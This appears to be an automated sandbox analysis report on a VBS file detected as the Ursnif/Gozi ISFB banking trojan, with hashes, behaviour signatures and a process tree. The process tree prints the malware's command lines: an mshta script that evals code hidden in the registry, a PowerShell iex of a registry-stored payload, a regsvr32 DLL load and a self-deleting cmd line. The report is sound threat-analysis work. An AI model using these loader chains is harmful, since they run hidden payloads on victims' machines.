Overview

overview

10

Static

static

6

presentati...25.vbs

windows7_x64

10

presentati...25.vbs

windows10_x64

1

Analysis

  • max time kernel
    142s
  • max time network
    112s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    02-06-2020 20:39

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    presentation#_76325.vbs

  • Size

    1.2MB

  • MD5

    ee4c58983f325bb00a5d04d6c5e41b91

  • SHA1

    8284f45c6af2757db6e4046de697ecf38858b174

  • SHA256

    a31d0d59f61aeb7a42378ae39255fec0072b65b28af2ed4097662a53132a36c2

  • SHA512

    c3f371661d0f1ba846f714fa9c7b7a34066af1cb0c42ae72a9fb77d0f6c604f2b43f3c84b83bac67d84c754c387fe7f4ce17fb4aec9974ad5e45077a99f0672c

Score
10/10
bankertrojangozi_ifsbursnifspyware

Malware Config

Signatures

  • Suspicious use of SendNotifyMessage 4 IoCs
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes itself 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Checks whether UAC is enabled 3 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 42 IoCs
    adwarespyware
  • Drops file in System32 directory 1 IoCs
  • Modifies system certificate store 3 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SendNotifyMessage
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    • Suspicious use of AdjustPrivilegeToken
    PID:1236
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\presentation#_76325.vbs"
      2⤵
      • Deletes itself
      • Suspicious use of FindShellTrayWindow
      • Blacklisted process makes network request
      PID:1520
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05\\\Efsltprf'));if(!window.flag)close()</script>"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:1360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05").dmrctcls))
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        • Suspicious use of AdjustPrivilegeToken
        PID:924
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oavwojto\oavwojto.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1656
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES734B.tmp" "c:\Users\Admin\AppData\Local\Temp\oavwojto\CSC49AB76805C4444C89BDC16E898E1EF17.TMP"
            5⤵
              PID:2012
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sy2nxwbi\sy2nxwbi.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1052
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES73D7.tmp" "c:\Users\Admin\AppData\Local\Temp\sy2nxwbi\CSC7768AACE2E8C420F9079C41AFE559A8.TMP"
              5⤵
                PID:1568
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\y.rb"
          2⤵
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:800
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            • Runs ping.exe
            PID:1360
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\4CC4.bi1"
          2⤵
            PID:1040
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:316
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\5230.bi1"
              2⤵
                PID:1320
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:1056
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\5230.bi1"
                  2⤵
                    PID:1468
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4CC4.bi1"
                    2⤵
                      PID:1424
                  • C:\Windows\system32\regsvr32.exe
                    regsvr32 -s C:\Users\Admin\AppData\Local\Temp\y.rb
                    1⤵
                    • Process spawned unexpected child process
                    • Suspicious use of WriteProcessMemory
                    PID:1792
                    • C:\Windows\SysWOW64\regsvr32.exe
                      -s C:\Users\Admin\AppData\Local\Temp\y.rb
                      2⤵
                      • Loads dropped DLL
                      PID:1820
                  • C:\Program Files\Internet Explorer\iexplore.exe
                    "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                    1⤵
                    • Checks whether UAC is enabled
                    • Modifies Internet Explorer settings
                    • Modifies system certificate store
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:628
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:628 CREDAT:275457 /prefetch:2
                      2⤵
                      • Checks whether UAC is enabled
                      • Modifies Internet Explorer settings
                      • Suspicious use of SetWindowsHookEx
                      PID:1580
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:628 CREDAT:406535 /prefetch:2
                      2⤵
                      • Checks whether UAC is enabled
                      • Modifies Internet Explorer settings
                      • Suspicious use of SetWindowsHookEx
                      PID:1272

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/628-15-0x0000000002820000-0x0000000002821000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/800-17-0x00000000004A0000-0x00000000004A1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/800-21-0x00000000020B0000-0x0000000002161000-memory.dmp

                    Filesize

                    708KB

                    Download

                  • memory/924-14-0x000000001C440000-0x000000001C4F1000-memory.dmp

                    Filesize

                    708KB

                    Download

                  • memory/1236-13-0x00000000021E0000-0x00000000021E1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1236-18-0x00000000067E0000-0x0000000006891000-memory.dmp

                    Filesize

                    708KB

                    Download

                  • memory/1236-16-0x00000000067E0000-0x0000000006891000-memory.dmp

                    Filesize

                    708KB

                    Download

                  • memory/1360-20-0x0000000000100000-0x0000000000101000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1520-0-0x0000000002930000-0x0000000002934000-memory.dmp

                    Filesize

                    16KB

                    Download